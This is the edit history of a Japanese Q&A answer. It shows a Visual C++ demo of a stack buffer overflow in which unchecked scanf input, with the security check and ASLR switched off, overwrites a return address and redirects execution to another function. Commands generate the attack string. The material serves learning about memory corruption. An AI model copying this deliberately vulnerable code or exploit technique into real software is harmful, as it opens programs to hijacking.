回答編集履歴

1

訂正

2019/10/08 19:59

投稿

asm
asm

スコア15147

test CHANGED
@@ -19,3 +19,223 @@
19
19
 
20
20
 
21
21
  で関数ごとにセキュリティチェックを無効化できるようです。
22
+
23
+
24
+
25
+ -----
26
+
27
+
28
+
29
+ **追記**
30
+
31
+ 以下で攻撃文字列の生成・読み込みに成功
32
+
33
+
34
+
35
+ `demo.exe /dump 28` => `dump.bin`に攻撃文字列を生成
36
+
37
+ `type dump.bin | demo.exe` => `dump.bin`をwindowsの標準コマンド`type`で読み込み`demo.exe`にわたす
38
+
39
+ `demo.exe /echo 28 | demo.exe`
40
+
41
+
42
+
43
+ プロジェクトのプロパティ
44
+
45
+ - C/C++>コード生成>基本ランタイムチェック: 既定
46
+
47
+ - C/C++>コード生成>セキュリティチェック: セキュリティチェックを無効にします
48
+
49
+ - リンカー>詳細設定>ランダム化されたベースアドレス: いいえ
50
+
51
+
52
+
53
+ ```c++
54
+
55
+ #pragma warning(disable: 4996)
56
+
57
+ #include <intrin.h>
58
+
59
+ #include <stdio.h>
60
+
61
+ #include <stdlib.h>
62
+
63
+ #include <string.h>
64
+
65
+
66
+
67
+ int sample(int con);
68
+
69
+ int sub(int a);
70
+
71
+
72
+
73
+
74
+
75
+ int sample(int con) {
76
+
77
+ int(*func)(int a);
78
+
79
+ func = sub;
80
+
81
+
82
+
83
+ printf("sub関数のアドレス・・・%p\n", *func);
84
+
85
+ void* a = _ReturnAddress();
86
+
87
+
88
+
89
+
90
+
91
+
92
+
93
+ printf("リターンアドレス・・・%p\n", a);
94
+
95
+ char moji[15];
96
+
97
+ int* p;
98
+
99
+ p = (int*)moji;
100
+
101
+ int ebpofs;
102
+
103
+ int ebpofs2;
104
+
105
+ int* ebp;
106
+
107
+ ebp = &con;
108
+
109
+
110
+
111
+ unsigned* retaddr = (unsigned*)_AddressOfReturnAddress();
112
+
113
+ unsigned* pp = retaddr - 1;
114
+
115
+ printf("書き換えたいアドレス: %p + %u\n", moji, (uintptr_t)retaddr - (uintptr_t)moji);
116
+
117
+ printf("保存されたebp:%p\n", *pp);
118
+
119
+
120
+
121
+ scanf("%s", moji);
122
+
123
+ puts("ローカル変数");
124
+
125
+ puts("ローカル変数 4バイト出力 16進数 0 80");
126
+
127
+
128
+
129
+ for (ebpofs = 0; ebpofs < 80; ebpofs++) {
130
+
131
+ printf("addr:%p price:%x\n", p + ebpofs, p[ebpofs]);
132
+
133
+ }
134
+
135
+ puts("--------------------------------------------");
136
+
137
+ puts("コマンド引数 4バイト入力 16進数 -5 40");
138
+
139
+ for (ebpofs2 = -5; ebpofs2 < 40; ebpofs2++) {
140
+
141
+ printf("addr:%p price:%x\n", ebp + ebpofs2, ebp[ebpofs2]);
142
+
143
+ }
144
+
145
+ //リターンアドレス破壊4
146
+
147
+ void* b = _ReturnAddress();
148
+
149
+ printf("return:%p\n", b);
150
+
151
+ printf("price:%x\n", p[13]);
152
+
153
+ //p[13] = (int)func;
154
+
155
+ //p[13] = ((p[13] >> 6) | (p[13] >> 9)) + 80485;
156
+
157
+ //printf("price:%x\n", p[13]);
158
+
159
+ void* c = _ReturnAddress();
160
+
161
+ printf("return:%p\n", c);
162
+
163
+
164
+
165
+ unsigned* retaddr2 = (unsigned*)_AddressOfReturnAddress();
166
+
167
+ unsigned* pp2 = retaddr2 - 1;
168
+
169
+ printf("ebp:%p\n", *pp2);
170
+
171
+ return 0;
172
+
173
+ }
174
+
175
+
176
+
177
+ void dump(int argc, char** argv, FILE* fp) {
178
+
179
+ int offset = 0;
180
+
181
+ if (argc > 2)
182
+
183
+ offset = atoi(argv[2]);
184
+
185
+ for (int i = 0; i < offset; i++)
186
+
187
+ fputc('x', fp);
188
+
189
+ void* addr = sub;
190
+
191
+ fwrite(&addr, sizeof(addr), 1, fp);
192
+
193
+ }
194
+
195
+
196
+
197
+ int main(int argc, char** argv) {
198
+
199
+ if (argc > 1) {
200
+
201
+ if (!strcmp(argv[1], "/dump")) {
202
+
203
+ FILE* fp = fopen("dump.bin", "wb");
204
+
205
+ dump(argc, argv, fp);
206
+
207
+ fclose(fp);
208
+
209
+ return 0;
210
+
211
+ }
212
+
213
+ else if (!strcmp(argv[1], "/echo")) {
214
+
215
+ dump(argc, argv, stdout);
216
+
217
+ return 0;
218
+
219
+ }
220
+
221
+ }
222
+
223
+ sample(8);
224
+
225
+ return 0;
226
+
227
+ }
228
+
229
+
230
+
231
+
232
+
233
+ int sub(int a) {
234
+
235
+ puts("破壊成功!");
236
+
237
+ return 0;
238
+
239
+ }
240
+
241
+ ```